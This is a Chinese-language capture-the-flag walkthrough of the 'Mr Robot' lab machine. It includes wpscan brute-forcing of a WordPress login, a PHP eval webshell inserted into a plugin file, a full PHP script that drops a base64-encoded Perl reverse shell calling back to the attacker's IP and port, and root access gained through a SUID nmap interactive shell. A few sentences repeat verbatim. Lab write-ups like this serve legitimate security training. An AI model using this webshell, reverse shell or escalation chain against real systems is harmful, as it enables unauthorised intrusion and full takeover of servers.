今天挑战的是Mr Robot。
首先在Nmap扫描之前提一个小技巧。
PPPOE宽带拨号环境下nmap不能直接使用,需要提升权限,要使用-e 参数加上网卡设备名
当前我使用的是无线宽带,通过无线网卡实现通信。
Ipconfig获取我的IP地址
用 nmap –iflist 命令查看网卡接口,相对应的我的网卡是eth6
nmap -sT -p - -T5 -A -v -e eth6192.168.56.101
如果在win使用nmap出现这个状况的朋友记得用这个方法,或者你电脑配置够高的话,用虚拟机搭建个kali就ok了,没有这么多问题。
我们在kali下用nmap对我们的环境进行探测。
发现其开放了三个端口。
用浏览器打开target
搭建完环境后在浏览器打开,就被嫌弃浏览器版本过低了。。
应该是要用google内核的浏览器。换成google浏览器试试~~~
有趣的界面。
不过既然有漏洞就不可能只是这个静态的页面。
习惯性的查看有没有robots.txt文件。
以及右键查看下源代码,这可以很好的帮助你判断这个网站的指纹,是什么cms,用什么脚本语言写的,web容器所处的环境等等。。
发现了
不过貌似没有什么卵用,查询了这个ip,发现应该是调用这个ip的js或者其他的文件。
看看robots,这就更有趣了。我只是输错了一个字符就出现了这个页面。
不过貌似没有什么卵用,查询了这个ip,发现应该是调用这个ip的js或者其他的文件。
看看robots,这就更有趣了。我只是输错了一个字符就出现了这个页面。
不过貌似没有什么卵用,查询了这个ip,发现应该是调用这个ip的js或者其他的文件。
看看robots,这就更有趣了。我只是输错了一个字符就出现了这个页面。
继续输入robots.txt,
发现了这两个文件,key?密码?flag?
访问http://192.168.56.101/key-1-of-3.txt
访问http://192.168.56.101/fsocity.dic
这个应该是个字典,那么我们这时候是不是可以尝试一波了后台破解了?
访问wordpress默认的后台:http://192.168.56.101/wp-login.php
有了,将刚刚的字典下载下来破解。
但是用户名呢?手工尝试看看,发现不存在admin、MrRobot (这个训练平台的名字)
到了这一步,我觉得应该是我信息收集得不够。我继续在前面的页面翻。
后面看了好久,英文不咋的。才知道他要传递的信息
根据他提供的故事发现这个人名:https://en.wikipedia.org/wiki/Elliot在维基百科里面有。
这里用户名填:elliot,密码随意。发现只提示密码错误了。
可以开始爆破了。
下载了一波,可以了。
接着用,wpscan
ruby wpscan.rb -u 192.168.56.101 --threads20 --wordlist ~ /Desktop/fsocity.dic --username Elliot或者(看个人环境而定)
wpscan -u 192.168.56.101 --threads 20--wordlist ~ /Desktop/fsocity.dic --username Elliot
80多w的字典,出去撸了一晚上了跑了50多万。我觉得作为一名ctf赛棍有的觉悟必须要从字典的后半部分开始跑。
果然,我复制了后面的几百条,一跑。。
5秒,密码:ER28-0652
进入后台,getshell就不用kali了,用起来国产菜刀。
通过安装插件出上传打包木马的zip文件getshell
安装失败,那么就插件、已安装的插件、编辑插入一句话木马
我们选择这个插件:all_in_one_seo_pack
备份原来的内容,换成<?php eval($_POST['vaf']);?>
shell相对地址/wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.php
尼玛~~
然后上传自己的后门,恢复原来的插件代码,别问ctf为何也要这样,习惯成自然~。
翻目录看到
说明我们这个只是apache用户的权限,robot用户的部分权限。
果然…看下图
我们下载password.raw-md5这个文件,里面的内容是:robot:c3fcd3d76192e4007dfb496cca67e13b
并解密md5得:
abcdefghijklmnopqrstuvwxyz
这时候是时候寄出我的netcat大杀器了。
本地监听666端口:
在webshell执行以下php脚本。将数据转发至本机。
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f =@popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.56.101 ";
$yourport = '6688';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')."/tmp/.bc $yourip $yourport &");
?>
发现无法接受,原来是我连接无线宽带转发不过来,因为不同的网卡,物理机充当网桥连接。
我用kali接收..,因为kali与渗透机器同一网卡,可以通讯。
开了尴尬的是我出去了一趟把虚拟机关了,回来发现ip变了。不过没事。Target变成了192.168.56.102。
我们反弹回来一个半交互的shell
我们切换到robot用户,这个用户的权限比较小,只是robot的一部分权限。
输入命令:python -c 'import pty; pty.spawn("/bin/sh")'
这样获得一个完整的交互式shell
密码是a~z。
接下来也是提权的问题了,因为我们的key3在root目录里面。
Uname –a 获取内核,但是我尝试所有的exp都失败了。
那么这里我们提出一个新的提权思路。
说到这个还是要回归Linux文件权限的问题。Linux除了文件的九个基本权限-rwxrwxrwx,还有文件的特殊权限。就是SUID和SGID以及SBIT。
大致解释一下他们的定义:
SUID含义:文件的该位被设置为1,在该文件被执行时,该文件将以所有者的身份运行,也就是说无论谁来
执行这个文件,他都有文件所有者的特权,如果所有者是root的话,那么执行人就有超级用户
的特权了,这是该位将变成一个安全漏洞,因此不要轻易设置该位。
SGID含义:运行者将具有文件所有组的权限。
SBIT含义: 要求操作系统既是在可执行程序退出后,仍要在内存中保留该程序的映像,这样做是为了节省大
型程序的启动时间,但是会占用系统资源,因此设置该位,不如把程序写好
所以我们就是利用SUID的权限漏洞。
find
/ -perm -u=s -type
f 2>/dev/null
这条命令是查找所有用户有SUID权限的普通文件
找到以上文件。
发现了nmap,低版本的nmap支持“interactive.”选项,用户能够通过该选项执行shell命令,通常,安全人员会使用该命令来避免他们使用nmap命令被记录在history文件中
我们拿到了这个交互的shell了。
Ok,因为nmap有SUID位,所以通过“!sh”我们会获取到一个root权限的shell
”!sh“就是代码由bash shell解释。
已经是root权限了。
下来就是读取flag了。